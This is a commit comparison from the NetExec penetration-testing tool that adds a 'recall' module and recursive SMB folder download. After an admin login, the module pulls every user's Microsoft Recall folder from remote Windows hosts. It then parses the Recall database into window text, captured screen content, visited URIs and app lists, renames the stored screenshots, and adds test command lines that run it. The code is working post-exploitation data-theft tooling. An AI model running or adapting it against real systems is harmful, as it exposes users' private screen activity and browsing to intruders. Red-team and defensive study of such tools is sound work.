Compare commits

...
20 Commits
Author SHA1 Message Date
Marshall Hallenbeck d7fde3a76b Merge branch 'main' into marshall-recall
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-06-18 11:44:58 -04:00
Alexander Neff 35b4374f63 Fix Pwned spacing 2024-06-08 17:24:07 -04:00
Marshall Hallenbeck b3c1302f1f fix: fix hash length since its 32/64 (not 16) and we need to consider the colon between NTLM hashes 2024-06-08 17:24:07 -04:00
Marshall Hallenbeck cdca8bcbc4 tests: add test hashes 2024-06-08 17:24:07 -04:00
Marshall Hallenbeck 936dc3d977 revert spacing for Admin/Guest output 2024-06-08 17:24:07 -04:00
Marshall Hallenbeck 7fc5150674 fix(ruff): E226 2024-06-08 17:24:07 -04:00
Marshall Hallenbeck b71057aef4 feat(smb): check if successful login is guest privs 2024-06-08 17:24:07 -04:00
Marshall Hallenbeck 9ed8e9c4b5 tests: add Recall module to tests 2024-06-07 21:19:14 -04:00
Marshall Hallenbeck 791c142ae5 feat(recall): allow for silencing of specific file download output and fix specifying USERS 2024-06-07 10:30:23 -04:00
Marshall Hallenbeck cc7d7d0be3 feat(smb): allow for silencing of file download messages 2024-06-07 10:29:49 -04:00
Marshall Hallenbeck 1ec24e71ce ruff fix 2024-06-07 09:17:16 -04:00
Marshall Hallenbeck 06e813110b feat(recall): grab all app names and URIs 2024-06-07 09:06:16 -04:00
Marshall Hallenbeck 5fdcb162da remove unused function 2024-06-06 20:22:38 -04:00
Marshall Hallenbeck 4d51ff3f7a feat(recall): add DB parsing 2024-06-06 19:57:58 -04:00
Marshall Hallenbeck 3e98fd33f1 ruff fix 2024-06-06 19:55:59 -04:00
Marshall Hallenbeck 50e477ce1e fix description 2024-06-06 15:59:16 -04:00
Marshall Hallenbeck ba86391704 feat: recall module to download entire recall directory; renames screenshots 2024-06-06 15:51:45 -04:00
Marshall Hallenbeck 765dabe297 formatting: over indent 2024-06-06 15:51:19 -04:00
Marshall Hallenbeck 0f730e62e2 smb: clean up get-folder code 2024-06-06 13:00:15 -04:00
Marshall Hallenbeck 2ce36d5ea2 feat(smb): add feature to download entire folders from target 2024-06-06 12:57:32 -04:00
4 changed files with 206 additions and 11 deletions

No files matched your search

+137
View File
@@ -0,0 +1,137 @@
from impacket import smb, smb3
import ntpath
from os import rename
from os.path import split, join, splitext, dirname, abspath
from glob import glob
from sqlite3 import connect
class NXCModule:
"""
Recall
-------
Module by @Marshall-Hallenbeck (@mjhallenbeck on Twitter)
Inspired by https://github.com/xaitax/TotalRecall (code my own)
"""
name = "recall"
description = "Downloads Microsoft Recall folders for all users"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.context = None
self.module_options = None
def options(self, context, module_options):
"""
USERS Download only specified user(s); format: -o USERS=user1,user2,user3
SILENT Do not display individual file download messages; set to enable
"""
self.context = context
self.recall_path_stub = "\\AppData\\Local\\CoreAIPlatform.00\\UKP\\"
self.users = module_options["USERS"] if "USERS" in module_options else None
self.silent = module_options["SILENT"] if "SILENT" in module_options else False
def on_admin_login(self, context, connection):
output_path = f"recall_{connection.host}"
context.log.debug("Getting all user Recall folders")
user_folders = connection.conn.listPath("C$", "\\Users\\*")
context.log.debug(f"User folders: {user_folders}")
if not user_folders:
self.context.log.fail("No User folders found!")
else:
context.log.display("User folder(s) found, attempting to dump Recall contents (no output means no Recall folder)")
for user_folder in user_folders:
if not user_folder.is_directory():
continue
folder_name = user_folder.get_longname()
context.log.debug(f"{folder_name=} {self.users=}")
if folder_name in [".", "..", "All Users", "Default", "Default User", "Public"]:
continue
if self.users and folder_name not in self.users:
self.context.log.debug(f"Specific users are specified and {folder_name} is not one of them")
continue
recall_path = ntpath.normpath(join(r"Users", folder_name, self.recall_path_stub))
context.log.debug(f"Checking for Recall folder {recall_path}")
try:
connection.conn.listPath("C$", recall_path)
except Exception:
context.log.debug(f"Recall folder {recall_path} not found!")
continue
user_output_dir = join(output_path, folder_name)
try:
context.log.display(f"Downloading Recall folder for user {folder_name}")
connection.download_folder(recall_path, user_output_dir, True)
except (smb.SessionError, smb3.SessionError):
context.log.debug(f"Folder {recall_path} not found!")
context.log.success(f"Recall folder for user {folder_name} downloaded to {user_output_dir}")
self.rename_screenshots(user_output_dir)
context.log.debug("Parsing Recall DB files...")
db_files = glob(f"{output_path}/*/*/ukg.db")
for db in db_files:
self.parse_recall_db(db)
def parse_recall_db(self, db_path):
self.context.log.debug(f"Parsing Recall database {db_path}")
parent = abspath(dirname(dirname(db_path)))
self.context.log.debug(f"Parent: {parent}")
conn = connect(db_path)
c = conn.cursor()
win_text_cap_tab = "WindowCaptureTextIndex_content"
joined_q = f"""
SELECT t1.c1, t2.c2
FROM {win_text_cap_tab} AS t1
JOIN {win_text_cap_tab} AS t2 ON t1.c0 = t2.c0
WHERE t1.c1 IS NOT NULL AND t2.c2 IS NOT NULL;
"""
c.execute(joined_q)
window_content = c.fetchall()
with open(join(parent, "window_content.txt"), "w") as file:
file.writelines(f"{row[0]}, {row[1]}\n" for row in window_content)
window_q = f"SELECT c1 FROM {win_text_cap_tab} WHERE c1 IS NOT NULL;"
c.execute(window_q)
windows = c.fetchall()
with open(join(parent, "windows.txt"), "w") as file:
file.writelines(f"{row[0]}\n" for row in windows)
content_q = f"SELECT c2 FROM {win_text_cap_tab} WHERE c2 IS NOT NULL;"
c.execute(content_q)
content = c.fetchall()
with open(join(parent, "content.txt"), "w") as file:
file.writelines(f"{row[0]}\n" for row in content)
web_tab = "Web"
web_q = f"""
SELECT Uri FROM {web_tab};
"""
c.execute(web_q)
uris = c.fetchall()
with open(join(parent, "uris.txt"), "w") as file:
file.writelines(f"{row[0]}\n" for row in uris)
app_tab = "App"
app_q = f"""
SELECT Name, WindowsAppId, Path FROM {app_tab};
"""
c.execute(app_q)
apps = c.fetchall()
with open(join(parent, "apps.txt"), "w") as file:
file.writelines(f"{row[0]}, {row[1]}, {row[2]}\n" for row in apps)
def rename_screenshots(self, path):
self.context.log.debug(f"Renaming screenshots at {path}")
files = glob(f"{path}/*/ImageStore/*")
self.context.log.debug(f"Files to rename: {files}")
for file in files:
directory, filename = split(file)
if not splitext(filename)[1]:
rename(file, join(directory, f"{filename}.jpg"))
+64 -11
View File
@@ -7,6 +7,7 @@ from Cryptodome.Hash import MD4
from impacket.smbconnection import SMBConnection, SessionError
from impacket.smb import SMB_DIALECT
from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA
from impacket.examples.secretsdump import (
RemoteOperations,
SAMHashes,
@@ -395,6 +396,7 @@ class smb(connection):
self.logger.debug(f"Logged in with password to SMB with {domain}/{self.username}")
self.is_guest = bool(self.conn.isGuestSession())
self.logger.debug(f"{self.is_guest=}")
if "Unix" not in self.server_os:
self.check_if_admin()
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
@@ -467,6 +469,7 @@ class smb(connection):
self.logger.debug(f"Logged in with hash to SMB with {domain}/{self.username}")
self.is_guest = bool(self.conn.isGuestSession())
self.logger.debug(f"{self.is_guest=}")
if "Unix" not in self.server_os:
self.check_if_admin()
user_id = self.db.add_credential("hash", domain, self.username, self.hash)
@@ -1306,25 +1309,75 @@ class smb(connection):
def put_file(self):
for src, dest in self.args.put_file:
self.put_file_single(src, dest)
def get_file_single(self, remote_path, download_path):
def download_file(self, share_name, remote_path, dest_file, access_mode=FILE_READ_DATA):
try:
self.logger.debug(f"Getting file from {share_name}:{remote_path} with access mode {access_mode}")
self.conn.getFile(share_name, remote_path, dest_file, shareAccessMode=access_mode)
return True
except SessionError as e:
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.debug(f"Sharing violation on {remote_path}: {e}")
return False
except Exception as e:
self.logger.debug(f"Other error when attempting to download file {remote_path}: {e}")
return False
def get_file_single(self, remote_path, download_path, silent=False):
share_name = self.args.share
self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
if not silent:
self.logger.display(f"Copying '{remote_path}' to '{download_path}'")
if self.args.append_host:
download_path = f"{self.hostname}-{remote_path}"
with open(download_path, "wb+") as file:
try:
self.conn.getFile(share_name, remote_path, file.write)
self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
except Exception as e:
self.logger.fail(f'Error writing file "{remote_path}" from share "{share_name}": {e}')
if os.path.getsize(download_path) == 0:
os.remove(download_path)
if self.download_file(share_name, remote_path, file.write):
if not silent:
self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
else:
self.logger.debug("Opening with READ alone failed, trying to open file with READ/WRITE access")
if self.download_file(share_name, remote_path, file.write, FILE_READ_DATA | FILE_WRITE_DATA):
if not silent:
self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
else:
if not silent:
self.logger.fail(f"Error downloading file '{remote_path}' from share '{share_name}'")
def get_file(self):
for src, dest in self.args.get_file:
self.get_file_single(src, dest)
def download_folder(self, folder, dest, recursive=False, silent=False, base_dir=None):
normalized_folder = ntpath.normpath(folder)
base_folder = os.path.basename(normalized_folder)
self.logger.debug(f"Base folder: {base_folder}")
items = self.conn.listPath(self.args.share, ntpath.join(folder, "*"))
self.logger.debug(f"{len(items)} items in folder: {items}")
for item in items:
item_name = item.get_longname()
if item_name not in [".", ".."]:
dir_path = ntpath.normpath(ntpath.join(normalized_folder, item_name))
if item.is_directory() and recursive:
self.download_folder(dir_path, dest, silent, recursive, base_dir or folder)
elif not item.is_directory():
remote_file_path = ntpath.join(folder, item_name)
# change the Windows path to Linux and then join it with the base directory to get our actual save path
relative_path = os.path.join(*folder.replace(base_dir or folder, "").lstrip("\\").split("\\"))
local_folder_path = os.path.join(dest, relative_path)
local_file_path = os.path.join(local_folder_path, item_name)
self.logger.debug(f"{dest=} {remote_file_path=} {relative_path=} {local_folder_path=} {local_file_path=}")
os.makedirs(local_folder_path, exist_ok=True)
try:
self.get_file_single(remote_file_path, local_file_path, silent)
except FileNotFoundError:
self.logger.fail(f"Error downloading file '{remote_file_path}' due to file not found (probably a race condition between listing and downloading)")
def get_folder(self):
recursive = self.args.recursive
for folder, dest in self.args.get_folder:
self.download_folder(folder, dest, recursive)
def enable_remoteops(self):
try:
+2
View File
@@ -65,6 +65,8 @@ def proto_args(parser, parents):
files_group = smb_parser.add_argument_group("Files", "Options for remote file interaction")
files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
files_group.add_argument("--get-folder", action="append", nargs=2, metavar="DIR", help="Get a remote directory, ex: \\\\Windows\\\\Temp\\\\testing testing")
files_group.add_argument("--recursive", default=False, action="store_true", help="Recursively get a folder")
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
cmd_exec_group = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
+3
View File
@@ -129,6 +129,9 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav -
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M recall
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M recall -o USERS=Administrator,User
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M recall -o USERS=Administrator,User SILENT=True
# test for multiple modules at once
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M dfscoerce -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M shadowcoerce -M uac -M webdav -M wifi
##### SMB Anonymous Auth